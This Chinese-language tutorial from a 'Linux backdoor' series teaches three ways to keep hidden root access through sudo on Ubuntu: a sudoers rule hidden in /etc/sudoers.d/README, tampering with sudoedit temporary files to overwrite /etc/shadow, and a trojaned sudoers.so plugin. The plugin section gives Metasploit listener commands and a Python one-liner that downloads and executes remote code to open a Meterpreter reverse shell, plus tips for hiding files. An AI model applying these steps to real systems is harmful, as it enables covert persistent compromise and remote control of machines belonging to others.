sudo 后门|Linux 后门系列

sudo 经常被用来将普通用户权限提升至 root 权限,代替 root 执行部分程序来管理 Linux 系统,这样避免 root 密码被泄漏 这篇文章介绍了三种利用其留后门的方法,其中也涉及一个sudo有趣的特性,在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点

  • sudo 配置后门
  • sudoedit 文件所有者后门
  • sudo plugin 后门

这篇文章以 Ubuntu Server 22.10 为例

0x01 sudo 配置后门

1) 简介

通常的应用场景中,配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序,该需求相应的配置文件为 /etc/sudoers 以及 /etc/sudoers.d/ 目录下的文件

随着操作系统版本迭代,很多应用程序都将配置文件分为两部分,主配置文件以及主配置文件加载的配置文件,这里所谓的主配置文件加载的配置文件通常以文件夹的形式加载,也就是说文件夹中所有的文件都会被认为是配置文件。意图让运维人员自定义配置的时候,不再修改主配置文件,这样即使运维人员配置出现问题,也能保证基本的程序功能不会受到影响。尤其是这种涉及登录、权限变化的程序

/etc/sudoers 文件需要 root 权限才能访问,建议使用 visudo 来编辑此文件以及 /etc/sudoers.d/ 目录中的文件

我们直接看重点部分——角色及权限配置

代码语言:javascript
复制
# User privilege specification
root ALL=(ALL:ALL) ALL

Members of the admin group may gain root privileges

%admin ALL=(ALL) ALL

Allow members of group sudo to execute any command

%sudo ALL=(ALL:ALL) ALL

See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d

概括来说,配置权限部分分为 5 个字段

USERS

HOST

USER

GROUP

NOPASSWD

COMMANDS

root

ALL

(ALL

ALL)

省略(默认需要密码)

ALL

%admin

ALL

(ALL)

省略(默认需要密码)

ALL

%sudo

ALL

(ALL

ALL)

省略(默认需要密码)

ALL

  • USERS
    表示配置作用的目标用户,也就是说这个配置是给哪个用户的,这个字段可以是用户(例如 root),也可以是用户组(例如 %admin),用户组需要在前面加上 %,也可以是别名,别名说到底就是一堆用户的代表,需要在上文配置
  • HOST
    主机名,表示可以使用 sudo 命令的主机,ALL 表示任意主机
  • USER
    目标用户使用 sudo 时可以临时获取的身份以及权限,ALL 表示任意身份及权限
  • GROUP
    目标用户使用 sudo 时可以临时获取的用户组身份以及权限,ALL 表示任意用户组
  • NOPASSWD
    可以设置执行 sudo 不需要密码,省略不写表示需要密码
  • COMMANDS
    目标用户 sudo 后可以使用的命令, ALL 表示所有命令

所以默认的配置的含义为

  • root 可以在任意主机上 sudo 获取任意用户和用户组的权限,并执行任意命令,需要输入密码
  • admin 用户组的用户可以在任意主机上 sudo 获取任意用户的权限,并执行任意命令,需要输入密码
  • sudo 用户组的用户可以在任意主机上 sudo 获取任意用户以及用户组的权限,并执行任意命令,需要输入密码

现在我们了解了配置语法,现在我们看最后一行

代码语言:javascript
复制
@includedir /etc/sudoers.d

这表示 /etc/sudoers.d 中的文件也在该配置文件中引用

此时我们看一下 /etc/sudoers.d 文件夹

Ubuntu Server 22.10 中,默认该文件夹下只有一个 README 文件

代码语言:javascript
复制
#

The default /etc/sudoers file created on installation of the

sudo package now includes the directive:

@includedir /etc/sudoers.d

This will cause sudo to read and parse any files in the /etc/sudoers.d

directory that do not end in '~' or contain a '.' character.

Note that there must be at least one file in the sudoers.d directory (this

one will do).

Note also, that because sudoers contents can vary widely, no attempt is

made to add this directive to existing sudoers files on upgrade. Feel free

to add the above directive to the end of your /etc/sudoers file to enable

this functionality for existing installations if you wish! Sudo

versions older than the one in Debian 11 (bullseye) require the

directive will only support the old syntax #includedir, and the current

sudo will happily accept both @includedir and #includedir

Finally, please note that using the visudo command is the recommended way

to update sudoers content, since it protects against many failure modes.

See the man page for visudo and sudoers for more information.

这个文件只是一个说明文件,大概介绍了 sudo 配置文件相关情况,还建议大家使用 visudo 对文件进行编辑

此时我们就可以复用计划任务后门那个章节的技巧了,大家感兴趣可以去阅读一下,在往期文章中,这次我们直接修改这个 README 文件,在该文件中进行配置,让一个普通用户可以通过 sudo 获取 root 的权限

PS: 很多运维人员对于某个程序指定了一个配置文件夹,这个配置文件夹中是不是所有文件都会自动加载并不清楚,所以直接将后门配置写在 README 里简直绝了

2) 新建普通用户当作我们控制的账户

代码语言:javascript
复制
sudo useradd test1
echo "test1:123456" | sudo chpasswd test1

可以看到新建的 test1 用户是一个普通账号,只在 test1 这个用户组,无法执行 sudo

3) 写入后门配置

代码语言:javascript
复制
sudo vim /etc/sudoers.d/README

这样就可以通过控制一个普通账号随时获取 root 权限

4) 小延伸

如果你是一个受限,非交互的 shell ,可以通过标准输入的方式执行 sudo

代码语言:javascript
复制
echo '123456' | sudo -S cat /etc/passwd

可以考虑搞新建 空白文件名 文件 + alias 劫持的方法来隐藏新建文件

有时候也没必要新建用户,可以尝试开启那些系统用户试试,或许有惊喜也说不定,但是这种操作一定要提前试一试

0x02 sudoedit 文件所有者后门

这个后门更偏向于一个概念性的后门,以趣味性为主吧
前段时间复现 CVE-2023-22809 的时候关注到 sudoedit (sudo -e) 这个程序,这个程序用来让可以sudo的用户通过 sudoedit 以超级权限 (root) 编辑文件
经过测试,我发现sudoedit 编辑文件的逻辑在一些场景下可能有一些问题,会造成权限提升、代码执行等

1) 运维人员通过 sudoedit 编辑文件

可以看到,目前编辑的文件并不是 /etc/shadow ,而是 /var/tmp/shadow.XXWN6vSu, sudoedit 的思路是先拷贝一份 /etc/shadow ,之后编辑完再覆盖回去

2) 攻击者修改相关文件

假设攻击者也拥有 join 这个用户的权限,我们看一下这个拷贝后的文件

代码语言:javascript
复制
ls -al /var/tmp/shadow.XXWN6vSu

可以看到,该文件的所属者和所属组都是 join ,也就是说攻击者可以直接修改这个文件,尝试添加一个 flag

我们选择 E

其实此时,我们就已经读取到未 sudo 的 join 读取不到的文件内容,现在我们写入一个 flag

3) 运维人员直接关闭编辑器,并不修改内容

代码语言:javascript
复制
^X Exit

可以看出,这个过程中没有任何提示,在 sudoedit 看来,对文件也应该没有任何修改,但是 sudoedit 还是将临时文件覆盖了原本的 /etc/shadow

这样可能造成的危害大小主要取决于运维人员具体打开的文件,如果是计划任务文件则攻击者可能新建计划任务、如果是一些开机加载、环境变量等文件,攻击者也可以进行添加内容

0x03 sudo plugin 后门

1) 简介

大家日常可能使用 sudo 比较多,但实际上去完整读一读它的 man 手册的估计不多,其实 sudo 在 1.8 版本之后开始支持插件了,还支持了 Python 版本的 API
说到这里就不得不谈一下 sudo 的另一个配置文件,应该说更偏向其本身行为的一个配置文件 /etc/sudo.conf,在这个配置文件中我们就可以设置 sudo 的插件(.so 共享库文件)

代码语言:javascript
复制
#

Default /etc/sudo.conf file

Sudo plugins:

Plugin plugin_name plugin_path plugin_options ...

The plugin_path is relative to /usr/libexec/sudo unless

fully qualified.

The plugin_name corresponds to a global symbol in the plugin

that contains the plugin interface structure.

The plugin_options are optional.

The sudoers plugin is used by default if no Plugin lines are present.

#Plugin sudoers_policy sudoers.so
#Plugin sudoers_io sudoers.so
#Plugin sudoers_audit sudoers.so

内容比较多,我们只选取我们要使用的部分,默认情况下没有配置插件,但是根据注释可以看出,至少有三种插件

  • sudoers_policy
  • sudoers_io
  • sudoers_audit

注释中它们的值都指向 sudoers.so ,而且注释中也说了,如果一个插件都没有配置的话,默认使用 sudoers.so ,插件所在目录为 /usr/libexec/sudo/

各个共享库文件都有自己的作用,可以通读整个配置文件来了解,这里我们只讨论 sudoers.so 文件

现在我们就来制作一个恶意的插件作为我们的后门

2) Metasploit 生成 payload 并监听

代码语言:javascript
复制
msfconsole -q
> use exploit/multi/script/web_delivery
> set payload python/meterpreter/reverse_tcp
> set lhost 192.168.31.71
> set lport 4444
> exploit

payload 为

代码语言:javascript
复制
python -c "import sys;import ssl;u=import('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71/USEAxYjj6HvmEk', context=ssl._create_unverified_context());exec(r.read());"

这里我们得改造一下,因为新版本的 Ubuntu 已经不再自带 python2

代码语言:javascript
复制
/usr/bin/python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71/USEAxYjj6HvmEk', context=ssl._create_unverified_context());exec(r.read());"

3) 编译 sudoers.so

本地找一台与目标环境相同的测试主机进行编译,我这里直接使用目标主机,编辑好后取出 sudoers.so ,之后还原为刚安装完的状态

查看 sudo 版本
代码语言:javascript
复制
sudo -V
下载相同版本的 sudo 程序的源代码并解压

https://www.sudo.ws/getting/source/

注入 payload 进 sudoers.so 源代码

根据分析,我们在 sudoers_init 函数中插入 payload

注意转义双引号以及代码最后的分号

安装编译需要的依赖
代码语言:javascript
复制
sudo apt update
sudo apt install gcc
sudo apt install make
sudo apt install libssl-dev
开始编译
代码语言:javascript
复制
sudo ./configure
sudo make
sudo make install

在解压缩后的目录中执行

4) 测试无误后拷贝sudoers.so 至被害主机

生成的 sudoers.so 位于 plugins/sudoers/.libs/sudoers.so

测试无误后将其保存,将主机恢复至刚安装,再将文件拷贝至 /usr/libexec/sudo/ 覆盖原有的 sudoers.so (当然,这不是必须的,你可以以任何名称放在任何目录,之后在 sudo.conf 中配置指定就好)

5) 测试后门效果

正常使用 sudo ,查看效果

代码语言:javascript
复制
sudo cat /etc/shadow

成功获取到 shell